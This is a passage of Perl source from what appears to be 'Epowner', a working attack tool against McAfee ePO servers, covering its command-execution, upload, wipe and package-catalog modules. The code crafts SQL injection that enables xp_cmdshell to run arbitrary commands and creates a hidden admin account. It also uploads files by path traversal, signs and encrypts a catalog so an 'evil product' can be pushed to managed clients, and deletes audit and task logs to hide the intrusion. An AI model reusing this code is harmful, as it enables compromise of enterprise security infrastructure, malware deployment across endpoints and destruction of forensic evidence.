142 | $this->print_warn("[-] WARN: According to the config file, this mode is already configured\n"); 143 | $this->print_warn(" If needed, use '--srv-exec --clean-nondba' to reset it and then restart the wizard\n"); 144 | return 0; 145 | } 146 | 147 | # Check if the Web console port is reachable 148 | #============================================ 149 | my $loop=1; 150 | my $webconsole_available = 0; 151 | while($loop){ 152 | 153 | print "[+] Please provide the web console TCP port. Press enter for default port (8443) : "; 154 | my $webconsole_port = <>; chomp($webconsole_port); 155 | if($webconsole_port ne ''){ 156 | $this->{server_consoleport} = $webconsole_port; 157 | }else{ 158 | $this->{server_consoleport} = 8443; 159 | } 160 | 161 | # Test SSL connectivity 162 | if ($this->check_connectivity_webconsole()){ 163 | # OK 164 | print "[+] Good. Web admin console is available\n"; 165 | $webconsole_available = 1; 166 | $loop = 0; 167 | }else{ 168 | print "[-] Connection failure. Try again using a different port ? [Y/n] : "; 169 | my $resp = <>; chomp($resp); 170 | if($resp eq 'n' or $resp eq 'N'){ 171 | $this->print_err ("[-] Sorry. Web console connectivity is required to perform Remote Command Execution without xp_cmdshell.\n"); 172 | $loop = 0; 173 | } 174 | 175 | } 176 | } 177 | 178 | 179 | 180 | 181 | # OK, we have the right TCP port 182 | 183 | if($webconsole_available){ 184 | 185 | my $web_admin_added=0; 186 | 187 | print "\n"; 188 | $this->print_info( "[*] Adding a new (invisible) admin web account using SQLi\n"); 189 | 190 | if($this->{state_add_admin}){ 191 | $this->print_warn("[-] WARN: According to the config file, you already created an web admin account\n"); 192 | $this->print_warn(" We will keep that account\n"); 193 | $web_admin_added=1; 194 | }else{ 195 | # Add web admin 196 | if($this->mode_addadmin()){ 197 | $web_admin_added=1; 198 | }else{ 199 | $this->print_err("[-] ERROR: error while adding the admin account\n"); 200 | } 201 | } 202 | 203 | # OK. Last step, setup the response rule 204 | if( $web_admin_added){ 205 | print "\n"; 206 | $this->print_info( "[*] Setting up NonDBA mode\n"); 207 | if($this->mode_server_exec_notdba_setup()){ 208 | $this->{srv_exec_mode} = 2; # Use NonDBA mode as default 209 | $this->{srv_exec_priv} = 1; 210 | }else{ 211 | $this->print_err("[-] ERROR: error while setting up NonDBA RCE mode\n"); 212 | } 213 | } 214 | } 215 | } 216 | 217 | 218 | # # Do we have xp_cmdshell but with limited priv ? (example: 'nt authority\network service') 219 | # if($this->{srv_exec_mode} == 0 and $this->{server_is_dba}){ 220 | # # Set srv_exec_mode to 1. 221 | # $this->{srv_exec_mode} = 1; 222 | # $this->{srv_exec_priv} = 0; 223 | # } 224 | 225 | 226 | print "\n"; 227 | $this->print_info("[*] Final verdict:\n"); 228 | if($this->{srv_exec_mode} == 1 && $this->{srv_exec_priv} == 1){ 229 | $this->print_ok("[*] You have remote code execution with HIGH privileges using xp_cmdshell (DBA mode) ! Congrats!\n"); 230 | } 231 | elsif($this->{srv_exec_mode} == 1 && $this->{srv_exec_priv} == 0){ 232 | $this->print_warn("[*] You have remote code execution with LIMITED privileges using xp_cmdshell.\n"); 233 | $this->print_warn(" All actions/modes will not be available to you :(\n"); 234 | } 235 | elsif($this->{srv_exec_mode} == 2){ 236 | $this->print_ok("[*] You have remote code execution with HIGH privileges using NonDBA mode ! Congrats!\n"); 237 | print " NonDBA mode is asynchronous. Execution could take up to 1 minute to complete\n"; 238 | }else{ 239 | $this->print_err("[-] Huh.. Bug ? You should not reach me :-/\n"); 240 | } 241 | 242 | 243 | 244 | } 245 | 246 | sub mode_server_exec_notdba_clean{ 247 | 248 | my $this = shift; 249 | 250 | my $cmdName = $this->{common_prefix}; 251 | 252 | my $sqli = 253 | "') ; " . 254 | "delete from [dbo].[EPOAlertRegisteredExe] where Name like '$cmdName%'; " . 255 | "delete from [dbo].[OrionResponseRule] where Name like '$cmdName%'; " . 256 | " -- "; 257 | 258 | # generate and send HTTP request 259 | my $http_request = $this->mode_common_generate_fullprops_request($sqli); 260 | if($this->send_http_request($http_request)){ 261 | }else{ 262 | return 0; 263 | } 264 | 265 | # keep trace of this action 266 | $this->{state_exec_nondba_setup} = 0 ; 267 | 268 | return 1; 269 | } 270 | 271 | #==================================================================== 272 | # FUNCTION : Remote Command Execution : setup 273 | #==================================================================== 274 | 275 | sub mode_server_exec_notdba_setup{ 276 | 277 | my $this = shift; 278 | 279 | # Test connectivity with web admin console 280 | if(not $this->check_connectivity_webconsole()){ 281 | $this->print_err ("[-] ERROR: Could not connect to " . $this->{server_host}. ":" . $this->{server_consoleport} . "\n"); 282 | $this->print_err (" You can use '--server-console-port ' to use an alternate port. \n"); 283 | 284 | return 0; 285 | } 286 | 287 | 288 | # We need an ePo admin first 289 | if($this->{state_add_admin} eq 0){ 290 | $this->print_err ("[-] ERROR: You must create an ePo admin first!\n"); 291 | $this->print_err (" Please use '--add-admin' and try again..\n"); 292 | return 0; 293 | } 294 | 295 | # generate a temp cmdname 296 | my @c=('0'..'9', 'a'..'f'); 297 | my $cmdName = $this->{common_prefix} . "-" . $c[rand @c].$c[rand @c].$c[rand @c].$c[rand @c]; 298 | 299 | # Add a new Response Rules + RegisteredEXE into the DB 300 | #===================================================== 301 | 302 | print "[*] Adding a new 'Registered EXE' + 'Automatic Response' into the database\n"; 303 | 304 | # get SQL statement (add a response event in the DB which will check for the new mac) 305 | my $sqli = $this->mode_server_exec_notdba_setup_get_sql_statement($cmdName); 306 | 307 | # generate HTTP request 308 | my $http_request = $this->mode_common_generate_fullprops_request($sqli); 309 | if($this->send_http_request($http_request)){ 310 | }else{ 311 | return 0; 312 | } 313 | 314 | 315 | print "[*] Login into to Web console\n"; 316 | if(! $this->tomcat_login($this->{admin_username}, $this->{admin_password})) { 317 | $this->print_err("[-] Authentication failure\n"); 318 | print " Did you created a new admin account using --add-admin ?\n"; 319 | return 0; 320 | } 321 | 322 | 323 | print "[*] ... and force a reload of DB\n"; 324 | if(! $this->tomcat_update_response_rule($cmdName)){ 325 | $this->print_err("[-] Reload failure\n"); 326 | print " 'Setup' can only be used once! In case of trouble, use '--srv-exec --clean-nondba' and restart '--srv-exec --wizard'.\n"; 327 | return 0; 328 | } 329 | 330 | 331 | # keep trace of this action 332 | $this->{state_exec_nondba_setup} = 1 ; 333 | 334 | return 1; 335 | } 336 | 337 | 338 | 339 | # If we don't have DBA priv, use "automatic responses" epo feature to 340 | # excecute commands 341 | sub mode_server_exec_notdba { 342 | 343 | my $this = shift; 344 | my $cmd = shift; 345 | 346 | 347 | if($this->{state_exec_nondba_setup} eq 0){ 348 | print "TODO\n"; 349 | $this->print_err ("[-] ERROR: You don't have DBA privileges. Please run '--srv-exec --setup-nondba' first.\n"); 350 | exit; 351 | } 352 | 353 | # generate an Event HTTP request 354 | my $http_request = $this->mode_common_generate_event_request($cmd); 355 | 356 | # Trigger the rule 357 | if($this->send_http_request($http_request)){ 358 | print " Your command should be processed within a few moment (up to 1 minute)\n"; 359 | }else{ 360 | return 0;; 361 | } 362 | 363 | return 1; 364 | 365 | } 366 | 367 | 368 | # If we have DBA priv, use "xp_cmdshell" to excecute commands 369 | sub mode_server_exec_isdba { 370 | 371 | my $this = shift; 372 | my $cmd = shift; 373 | 374 | # in DBA mode, we use 375 | # xp_cmdshell 'cmd.exe /c ' 376 | # therefore, single quotes are forbidden in 377 | if($cmd =~ /'/){ 378 | $this->print_err ("[-] ERROR: In dba mode, we use the following trick to get command execution:\n"); 379 | $this->print_err (" xp_cmdshell 'cmd.exe /c '\n"); 380 | $this->print_err (" Therefore, single quotes are forbidden in ... (we also got issues while using \\')\n"); 381 | $this->print_err (" If you can't avoid using single quote in your command, use non-dba exec mode using '--force-non-dba'\n"); 382 | return 0; 383 | } 384 | 385 | 386 | my $sqli = "') " . 387 | "EXEC sp_configure 'show advanced options',1 ; RECONFIGURE ; " . 388 | "EXEC sp_configure 'xp_cmdshell',1 ; RECONFIGURE ; " . 389 | "EXEC master.dbo.xp_cmdshell 'cmd.exe /c $cmd'; --" ; 390 | 391 | my $http_request = $this->mode_common_generate_fullprops_request($sqli); 392 | 393 | 394 | # Send request 395 | if($this->send_http_request($http_request)){ 396 | #$this->print_ok ("[*] Your command should have been processed\n"); 397 | }else{ 398 | return 0;; 399 | } 400 | 401 | return 1; 402 | 403 | } 404 | 405 | 406 | sub mode_server_exec_send { 407 | 408 | my $this = shift; 409 | my $cmd = shift; 410 | 411 | my $dba_mode; 412 | my $dba_mode_str; 413 | 414 | if($this->{srv_exec_mode} == 0){ 415 | $this->print_err("[-] ERR: mode_server_exec_send(), srv_exec_mode not defined. Did you run '--srv-exec --wizard' ?\n"); 416 | exit; 417 | } 418 | 419 | if($this->{srv_exec_mode} == 2 or $this->{server_force_nondba}){ 420 | $dba_mode = 0; 421 | $dba_mode_str = "in Non-DBA mode (Asynchronous)"; 422 | 423 | }elsif($this->{srv_exec_mode} == 1){ 424 | # use DBA mode 425 | $dba_mode = 1; 426 | $dba_mode_str = "in DBA mode (Synchronous)"; 427 | }else{ 428 | $this->print_err("[-] ERR: mode_server_exec_send(), srv_exec_mode invalid value\n"); 429 | exit; 430 | } 431 | 432 | $this->print_info_l1("[*] Call to ModeServerExec "); 433 | print "$dba_mode_str\n"; 434 | $this->print_info_l2(" Parameters: "); 435 | print "$cmd\n"; 436 | 437 | if($dba_mode eq 1 ){ 438 | $this->mode_server_exec_isdba($cmd); 439 | }else{ 440 | $this->mode_server_exec_notdba($cmd); 441 | } 442 | return 1; 443 | } 444 | 445 | 1; 446 | -------------------------------------------------------------------------------- /Epowner/ModeServerUpload.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use strict; 4 | use warnings; 5 | 6 | 7 | sub mode_server_upload_from_file { 8 | my $this = shift; 9 | my $source_filename = shift; 10 | my $dest_filename = shift; 11 | 12 | if(defined($source_filename) and not -e $source_filename){ 13 | $this->print_err("[-] ERROR (upload_from_file): file '$source_filename' not found\n"); 14 | return 0;; 15 | } 16 | 17 | 18 | # # destination filename must be 26 chars length 19 | # if(length($dest_filename) ne 26){ 20 | # $this->print_err("[-] ERROR (upload_from_file) : Destination filename must be 26 chars length (including extension)\n"); 21 | # return 0; 22 | # } 23 | 24 | # path start at \DBFolder\ for stability reasons 25 | # example: /../../Software/0000000000001.jsp 26 | my $dest_path = "/../../" . $dest_filename; 27 | 28 | 29 | 30 | # read source file 31 | open FILE, "$source_filename" or die "[-] ERROR (upload_from_file): can't read $source_filename\n"; 32 | my $file_content=''; while() {$file_content .= $_;} close FILE; 33 | 34 | 35 | my $fullpath; 36 | # do we already know the installation path of ePo ? 37 | if(length($this->{server_db_folder}) ne 0){ 38 | $fullpath = $this->{server_db_folder} . '\\' . $dest_filename ; 39 | }else{ 40 | $fullpath = $this->{server_db_folder_default} . '\\' . $dest_filename ; 41 | 42 | $this->print_warn ("[-] WARNING: epo installation path is unknowm. Assuming default value!\n"); 43 | $this->print_warn (" You may want to use '--get-install-path' to fix this.\n"); 44 | } 45 | 46 | 47 | $this->print_info_l1("[*] Call to ModeServerUpload\n"); 48 | $this->print_info_l2(" Parameters: "); 49 | print "From '$source_filename' To '$fullpath'\n"; 50 | 51 | # send request 52 | my $http_request = $this->mode_common_generate_event_request("N/A", $dest_path , $file_content); 53 | if($this->send_http_request($http_request)){ 54 | # print colored("[*] Your file has been uploaded to ePo working dir, under '$fullpath' \n", 'cyan'); 55 | 56 | }else{ 57 | return 0; 58 | } 59 | 60 | return 1; 61 | 62 | } 63 | 64 | sub mode_server_upload_from_string { 65 | 66 | } 67 | 68 | 1; 69 | -------------------------------------------------------------------------------- /Epowner/ModeWipe.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use strict; 4 | use warnings; 5 | 6 | 7 | 8 | # This function calls all other cleaning procedure 9 | sub mode_wipe { 10 | 11 | my $this = shift; 12 | 13 | 14 | # Do we have an admin ? 15 | if($this->{state_add_admin}){ 16 | 17 | $this->print_info ("\n[*] Web Admin Account\n"); 18 | print "[*] Do you want to remove your web admin account from the database ? "; 19 | if($this->{state_exec_nondba_setup}){ 20 | print "(you don't need it anymore for Remote Command Exec in NonDBA mode) "; 21 | } 22 | print "[Y/n] : "; 23 | 24 | my $doit = <>; chomp($doit); 25 | if($doit eq '' or $doit eq 'y' or $doit eq 'Y'){ 26 | $this->mode_addadmin_clean(); 27 | } 28 | } 29 | 30 | 31 | # Did we use --cli-deploy ? 32 | if($this->{state_cli_deploy}) { 33 | $this->print_info("\n[*] Downgrading replica.log\n"); 34 | $this->mode_wipe_downgrade_replica(); 35 | 36 | $this->print_info("\n[*] Cleaning up ePo repository\n"); 37 | $this->mode_wipe_repository(); 38 | #$this->mode_wipe_catalog(); # Sorry I'm tired ... catalog will be automatically updated within 24h... 39 | 40 | # Wait until the repository is cleaned. Then force replication of the changes 41 | # Poll replica.log until our evil product name disapears... 42 | $this->print_info("\n[*] Polling replica.log until our evil product name disapears...\n"); 43 | for(my $i=0 ; $i<50 ; $i++){ 44 | my $uri = "https://" . $this->{server_host} . ":" . $this->{server_port} . "/Software/Current/replica.log"; 45 | # Download replica.log 46 | my $replica_content = $this->http_poll_uri_get($uri); 47 | if($replica_content eq 0){ 48 | $this->print_err ("[-] ERROR (mode_wipe): Can't download replica.log.\n"); 49 | return 0; 50 | } 51 | # Does replica.log contains our evil product name ? 52 | last if($replica_content !~ /$this->{deploy_evil_product_id}/); 53 | 54 | print " retrying in 10 sec ...\n" ; 55 | sleep(10); 56 | 57 | } 58 | 59 | $this->print_info("\n[*] Cleaning up unzip.exe\n"); 60 | # delete unzip.exe & repo.zip on the server (uploaded by mode_wipe_downgrade_replica()) 61 | my $db_folder = $this->{server_db_folder}; 62 | $this->mode_server_exec_send( 63 | "del /F ${db_folder}\\$this->{deploy_remote_zipfile} & " . 64 | "del /F ${db_folder}\\$this->{unzip_remote_file} " 65 | ); 66 | 67 | # Replicate the changes 68 | $this->print_info("\n[*] Notifying all ePo servers about the changes\n"); 69 | $this->mode_wipe_replicate(); 70 | } 71 | 72 | # Did we set up RCE in NonDBA mode ? 73 | if($this->{state_exec_nondba_setup}){ 74 | 75 | $this->print_info("\n[*] Remote Code Execution in NonDBA mode\n"); 76 | print "[*] Do you want to delete the Remote Command Exec in NonDBA mode ? (warn: you wont be able to execute further commands) ? [N/y] : "; 77 | 78 | my $doit = <>; chomp($doit); 79 | if($doit eq 'y' or $doit eq 'Y'){ 80 | if($this->mode_server_exec_notdba_clean()){ 81 | $this->print_ok("[*] It smells good\n"); 82 | }else{ 83 | $this->print_err("[-] ERROR: --clean-nondba failure\n"); 84 | } 85 | } 86 | } 87 | 88 | 89 | # clean up database 90 | $this->print_info("\n[*] Cleaning up database\n"); 91 | $this->mode_wipe_db(); 92 | } 93 | 94 | 95 | 96 | # This function replicate the cleaning changes to all AgentHandlers 97 | sub mode_wipe_replicate { 98 | 99 | my $this = shift; 100 | 101 | my $sqli = 102 | "') ; " . 103 | # Notify All handler that catalog has a new version" 104 | "exec EPOAgentHandler_NotifyAllServers N'SiteListChanged', N'AgentHandler'; ". 105 | # Ask mod_eporepo to flush cache 106 | "exec EPOAgentHandler_NotifyAllServers N'FlushRepositoryCache', N'mod_eporepo'; " . 107 | " -- "; 108 | 109 | print "[*] Send Repository replication request\n"; 110 | my $http_request = $this->mode_common_generate_fullprops_request($sqli); 111 | $this->send_http_request($http_request); 112 | 113 | return 1; 114 | } 115 | 116 | 117 | 118 | # This function will delete the following folders from the repository 119 | # - /Software/Current/OUR_EVIL_PRODUCT 120 | # - /RepoCache/Current/OUR_EVIL_PRODUCT 121 | sub mode_wipe_repository { 122 | 123 | my $this = shift; 124 | my $db_folder = $this->{server_db_folder}; 125 | $this->mode_server_exec_send( 126 | "rmdir /S /Q ${db_folder}\\Software\\Current\\$this->{deploy_evil_product_id} & " . 127 | "rmdir /S /Q ${db_folder}\\RepoCache\\Current\\$this->{deploy_evil_product_id} " 128 | ); 129 | return 1; 130 | } 131 | 132 | 133 | # File /Software/Current/replica.log contains the list of all McAfee software present on the repository, branch: "Current" 134 | # We have to remove our evil product from that file 135 | # In this function, we download the official replica.log file from the repository, update it, then upload the new version on the server 136 | sub mode_wipe_downgrade_replica { 137 | 138 | my $this = shift; 139 | 140 | print "[*] Downgrading /Software/Current/replica.log\n"; 141 | 142 | my $server_host = $this->{server_host}; 143 | my $server_port = $this->{server_port}; 144 | my $uri = "https://$server_host:$server_port/Software/Current/replica.log"; 145 | 146 | # Download replica.log 147 | my $replica_content = $this->http_poll_uri_get($uri); 148 | if($replica_content eq 0){ 149 | $this->print_err ("[-] ERROR (mode_clean_downgrade_replica): Can't download replica.log. Software replication will introduce error message in ePo log files. That's life ..\n"); 150 | return 0; 151 | } 152 | 153 | # Replica.log sample 154 | #------------------ 155 | 156 | # [General] 157 | # NumItems=12 158 | # [ITEM_1] 159 | # Name=EPOAGENT3000 160 | # Type=Directory 161 | # Size=0 162 | # Hash= 163 | # Hash256= 164 | # [ITEM_2] 165 | # ... 166 | 167 | # Does our Evil product name is in that file ? (did we use --cli-deploy ?) 168 | if($replica_content !~ /$this->{deploy_evil_product_id}/){ 169 | # No additional modification is needed 170 | return 1; 171 | } 172 | 173 | # Get "NumItems" 174 | my $numitems = $1 if $replica_content =~ /.*NumItems=([0-9]+).*/g || -1; 175 | if($numitems eq -1){ 176 | $this->print_err ("[-] ERROR (mode_clean_downgrade_replica): Can't extract 'NumItems' from replica.log. Abording\n"); 177 | return 0; 178 | } 179 | 180 | # Read all [ITEM_x], and push them into an array 181 | # We assume that we don't know the position of the ITEM we want to remove. If not the last one of the list, 182 | # we must update the item id of the following entries.. So yeah, let's manage it using an array 183 | 184 | # Get position of the first ITEM 185 | my $first_item_pos = index($replica_content, "[ITEM_1]"); 186 | # remove [General] header 187 | my $items_content = substr($replica_content, $first_item_pos); # string containing only the ITEM_x list 188 | my @items_array = split(/\[ITEM_[0-9]+\]\r\n/, $items_content); 189 | shift @items_array; # Drop the first entry (empty string) 190 | 191 | # rebuild a new replica.log 192 | my $count =0; 193 | my $replica_content_new = ''; 194 | foreach my $item (@items_array) { 195 | # ignore our own product name 196 | if ($item !~ /$this->{deploy_evil_product_id}/){ 197 | $count++; 198 | $replica_content_new .= 199 | "[ITEM_$count]\r\n" . 200 | $item; 201 | } 202 | } 203 | 204 | # Add header 205 | $replica_content_new = 206 | "[General]\r\n" . 207 | "NumItems=$count\r\n" . 208 | $replica_content_new; 209 | 210 | 211 | # OK, replica.log is done. 212 | 213 | # Time to upload the file on the server 214 | # Unfortunately we can't use ModeServerUpload here as the destination filename (path included) is longer than 26 chars (Software/Current/replica.log) 215 | # So, we will create a ZIp file, upload it, and decrompress it on the server :-/ 216 | 217 | 218 | # if previous repo exists, drop everything 219 | if (-d $this->{deploy_local_repository}){ 220 | print " [+] Cleaning up previous repo\n" if $this->{verbose}; 221 | rmtree($this->{deploy_local_repository}); 222 | } 223 | 224 | my $software_folder = $this->{deploy_local_repository} . 225 | "Software/" . 226 | "Current/" ; 227 | my $repocache_folder = $this->{deploy_local_repository} . 228 | "RepoCache/" . 229 | "Current/" ; 230 | 231 | # create local folders 232 | mkpath($software_folder); 233 | if(not -d $software_folder){ 234 | $this->print_err ("[-] ERROR (mode_clean_downgrade_replica): can't create directory path $software_folder\n"); 235 | exit; 236 | } 237 | mkpath($repocache_folder); 238 | if(not -d $repocache_folder){ 239 | $this->print_err ("[-] ERROR (mode_clean_downgrade_replica): can't create directory path $repocache_folder\n"); 240 | exit; 241 | } 242 | 243 | # Save replica.log 244 | open FILE, ">$software_folder/replica.log" or die "[-] ERROR: can't write to $software_folder/replica.log\n"; 245 | print FILE $replica_content_new ; 246 | close FILE; 247 | open FILE, ">$repocache_folder/replica.log" or die "[-] ERROR: can't write to $repocache_folder/replica.log\n"; 248 | print FILE $replica_content_new ; 249 | close FILE; 250 | 251 | 252 | 253 | # zip repository 254 | #============================ 255 | print "[*] Compressing new replica.log to 'repo.zip'\n"; 256 | $this->compress_zip_tree( $this->{deploy_local_repository}, # folder to zip 257 | $this->{deploy_local_zipfile} # zip filename 258 | ); 259 | 260 | # upload zipped repo file to ePo server 261 | #====================================== 262 | $this->mode_server_upload_from_file( $this->{deploy_local_zipfile}, # source filename 263 | $this->{deploy_remote_zipfile} # dest filename 264 | ); 265 | 266 | # Upload "unzip.exe" :) 267 | #============================ 268 | $this->mode_server_upload_from_file( $this->{unzip_local_file}, # source filename 269 | $this->{unzip_remote_file} # dest filename 270 | ); 271 | 272 | 273 | # Ask server to uncompress our repository (and so, update the main repo) 274 | #======================================================================= 275 | print "[*] Unzip replica.log on server side\n" if $this->{verbose}; 276 | my $repo = $this->{deploy_remote_zipfile}; 277 | my $unzip = $this->{unzip_remote_file}; 278 | $repo =~ s/\.\.|\///g; # remove /../../ 279 | $unzip =~ s/\.\.|\///g; # remove /../../ 280 | 281 | 282 | # do we already know the installation path of ePo ? 283 | my $db_path ; 284 | if(length($this->{server_db_folder}) ne 0){ 285 | $db_path = $this->{server_db_folder} ; 286 | }else{ 287 | $db_path = $this->{server_db_folder_default} ; 288 | $this->print_warn ("[-] WARNING: epo installation path is unknowm. Assuming default value!\n"); 289 | $this->print_warn (" You may want to use '--get-install-path' to fix this.\n"); 290 | } 291 | 292 | # exec cmd: call unzip.exe 293 | $this->mode_server_exec_send( 294 | "\"\"" . $db_path . "\\" .$unzip. "\" " . # unzip.exe 295 | "-o \"" . $db_path . "\\" . $repo . "\" " . # -o repo.zip 296 | "-d \"" . $db_path . "\"\"" # -d dest folder 297 | ); 298 | 299 | # # delete unzip.exe & repo.zip on the server 300 | # my $db_folder = $this->{server_db_folder}; 301 | # $this->mode_server_exec_send( 302 | # "del /F ${db_folder}\\$this->{deploy_remote_zipfile} & " . 303 | # "del /F ${db_folder}\\$this->{unzip_remote_file} " 304 | # ); 305 | 306 | return 1; 307 | 308 | } 309 | 310 | 311 | 312 | sub mode_wipe_nondba_cmd_history { 313 | 314 | my $this = shift; 315 | 316 | 317 | if($this->{srv_exec_mode} != 2 and not $this->{server_force_nondba}){ 318 | 319 | $this->print_warn("[-] ERROR: --clean-cmd-history is only needed for NonDBA Remote Code Exec\n"); 320 | $this->print_warn(" Skipping user request\n"); 321 | exit; 322 | } 323 | 324 | # SQL Injection 325 | my $sqli = 326 | "') ; " . 327 | 328 | # Events sent by us, or victims 329 | "delete from EPOProductEvents where AgentGUID = '$this->{agent_guid}' ; " . 330 | " -- "; 331 | 332 | 333 | print "[*] Cleaning up cmd history ...\n"; 334 | 335 | my $http_request = $this->mode_common_generate_fullprops_request($sqli); 336 | if($this->send_http_request($http_request)){ 337 | return 1; 338 | }else{ 339 | return 0; 340 | } 341 | 342 | } 343 | 344 | 345 | sub mode_wipe_db { 346 | 347 | my $this = shift; 348 | 349 | # SQL Injection 350 | my $sqli = 351 | "') ; " . 352 | # MasterCatalog is modified by the catalog.z file that we upload (--upload) 353 | "delete from EPOMasterCatalog where ProductCode = '" . $this->{deploy_evil_product_id} . "'; " . 354 | #"\n". 355 | # Orion (tomcat) logs 356 | "delete from OrionAuditLog where UserName = '" . $this->{admin_username} . "'; " . 357 | "delete from OrionAuditLog where Message like '%" . $this->{agent_hostname} . "%'; " . 358 | "delete from OrionAuditLog where Message like '%" . $this->{common_prefix} . "%'; " . 359 | #"\n". 360 | # Task logs introduced by "--exec-server --cmd" in NON-DBA mode , and by logged-in attacker 361 | "declare \@TempTblLog Table (id int); " . 362 | "insert into \@TempTblLog Select id from OrionSchedulerTaskLog where Name like '" . $this->{common_prefix} . "%'; " . 363 | "delete from OrionSchedulerTaskLog where ParentId in (select id from \@TempTblLog) or Id in (select id from \@TempTblLog); " . 364 | "delete from \@TempTblLog;" . 365 | "insert into \@TempTblLog Select id from OrionSchedulerTaskLog where UserName = '" . $this->{admin_username} . "'; " . 366 | "delete from OrionSchedulerTaskLogDetail where TaskLogId in (select id from \@TempTblLog) ; " . 367 | "delete from OrionSchedulerTaskLog where UserName = '" . $this->{admin_username} . "'; " . 368 | #"\n". 369 | # Sequence number error if any .. 370 | "delete from EPOAgentSequenceErrorLog where NodeName = '" . $this->{agent_hostname} . "'; " . 371 | #"\n". 372 | # Events sent by us, or victims 373 | "delete from EPOProductEvents where AgentGUID = '$this->{agent_guid}' or ProductCode = '$this->{deploy_evil_product_id}'; " . 374 | #"\n". 375 | # Schedules / Slots 376 | "declare \@TempTblSched Table (id int); " . 377 | "insert into \@TempTblSched Select TaskScheduleId from EPOTaskSchedules where Name = '" . $this->{common_prefix} . "';" . 378 | "delete from EPOTaskSchedules where TaskScheduleId in (select id from \@TempTblSched) ; " . 379 | "delete from EPOTaskScheduleSettings where TaskScheduleId in (select id from \@TempTblSched) ; " . 380 | "delete from EPOTaskSlots where TaskSlotId in (select id from \@TempTblSched) ; " . 381 | #"\n". 382 | # Tasks ... 383 | "declare \@TempTblTask Table (id int); " . 384 | "insert into \@TempTblTask Select TaskObjectId from EPOTaskObjects where Name like '" . $this->{common_prefix} . "%';" . 385 | "delete from EPOTaskObjects where TaskObjectId in (select id from \@TempTblTask) ; " . 386 | "delete from EPOTaskObjectSettings where TaskObjectId in (select id from \@TempTblTask) ; " . 387 | "delete from EPOTaskObjectUserRoles where TaskObjectId in (select id from \@TempTblTask) ; " . 388 | "delete from EPOTaskAssignments where TaskObjectId in (select id from \@TempTblTask) ; " . 389 | #"\n". 390 | # Tags ... 391 | "declare \@TempTblTag Table (id int); " . 392 | "insert into \@TempTblTag Select TagID from EPOTag where Name like '" . $this->{common_prefix} . "%';" . 393 | "delete from EPOTag where TagID in (select id from \@TempTblTag) ; " . 394 | "delete from EPOTagAssignment where TagID in (select id from \@TempTblTag) ;" . 395 | "delete from EPOTaskAssignmentsTags where TagId in (select id from \@TempTblTag) ;" . 396 | #"\n". 397 | " -- "; 398 | #print $sqli ; 399 | #exit; 400 | 401 | print "[*] Cleaning up 15 database tables ...\n"; 402 | 403 | my $http_request = $this->mode_common_generate_fullprops_request($sqli); 404 | if($this->send_http_request($http_request)){ 405 | 406 | 407 | }else{ 408 | return 0; 409 | } 410 | 411 | return 1; 412 | 413 | } 414 | 1; 415 | -------------------------------------------------------------------------------- /Epowner/PkgCatalog.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Epowner::Cab::Cab; 4 | use Epowner::CabSign::CabSign; 5 | 6 | use File::Path; 7 | 8 | use strict; 9 | use warnings; 10 | 11 | 12 | 13 | 14 | 15 | sub pkgcatalog_makecab { 16 | 17 | my $this = shift; 18 | 19 | my $xmlfile = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_xml_file} ; 20 | my $cabfile = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_cab_file} ; 21 | 22 | # Generate CAB file 23 | #my $cab = Epowner::Cab::Cab->new; 24 | my $cab = Epowner::Cab::Cab->new($this->{lcab_path}, $this->{cabextract_path}); 25 | $cab->makecab($xmlfile, $cabfile, 1); 26 | 27 | 28 | } 29 | 30 | sub pkgcatalog_signcab { 31 | 32 | my $this = shift; 33 | 34 | # filenames (pkgcatalog) 35 | my $cabfile = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_cab_file} ; 36 | my $signedcabfile = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_signedcab_file} ; 37 | 38 | # filename (keys) 39 | my $dsa_pub = $this->{pkgcatalog_dsa_folder} . '/' . $this->{pkgcatalog_dsa_pub_file} ; 40 | my $dsa_priv = $this->{pkgcatalog_dsa_folder} . '/' . $this->{pkgcatalog_dsa_priv_file} ; 41 | my $rsa_pub = $this->{pkgcatalog_rsa_folder} . '/' . $this->{pkgcatalog_rsa_pub_file} ; 42 | my $rsa_priv = $this->{pkgcatalog_rsa_folder} . '/' . $this->{pkgcatalog_rsa_priv_file} ; 43 | 44 | 45 | my $cabsign = Epowner::CabSign::CabSign->new; 46 | 47 | # Crypto keys 48 | $cabsign->load_dsa_pub_from_file( $dsa_pub); 49 | $cabsign->load_dsa_priv_from_file($dsa_priv); 50 | $cabsign->load_rsa_priv_from_file($rsa_priv); 51 | $cabsign->load_rsa_pub_from_file($rsa_pub); 52 | 53 | # sign CAB file 54 | $cabsign->read_cabfile($cabfile); 55 | $cabsign->sign_cab(); 56 | $cabsign->write_cabfile_signed($signedcabfile); 57 | 58 | } 59 | 60 | sub pkgcatalog_encrypt { 61 | 62 | my $this = shift; 63 | 64 | my $signedcab = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_signedcab_file} ; 65 | my $pkgcatalog_z = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_z_file} ; 66 | 67 | # Read Signed CAB 68 | my $buf =''; 69 | open FILE, "$signedcab" or die "Couldn't open $signedcab: $!"; 70 | while (){ $buf .= $_; } 71 | close FILE; 72 | 73 | my $enc = mcafee_3des_encrypt( 74 | $buf, # to encrypt 75 | sha1_hex($this->{des3_symkey}) # 3DES key in hex 76 | ); 77 | 78 | # Write 79 | open FILE, ">$pkgcatalog_z" or die "Couldn't open $pkgcatalog_z: $!"; 80 | print FILE $enc; 81 | close FILE; 82 | } 83 | 84 | 85 | 86 | sub pkgcatalog_write_xml { 87 | 88 | my $this = shift; 89 | my $action = shift; # DEPLOY_FILE or DEPLOY_CMD or DEPLOY_CUSTOM 90 | 91 | my $evil_local_path; 92 | my $cmd; 93 | my $custom_folder; 94 | 95 | if($action eq DEPLOY_FILE){ 96 | $evil_local_path = shift; # the file we want to deploy on clients 97 | }elsif ($action eq DEPLOY_CMD){ 98 | $cmd = shift; 99 | }else{ 100 | $custom_folder = shift; 101 | } 102 | 103 | 104 | my $run_bat_path = $this->{deploy_run_bat}; 105 | # path to temp run.bat 106 | # this batch file will run our evil file and return. 107 | # this is important, otherwise the agent will keep the task 108 | # open 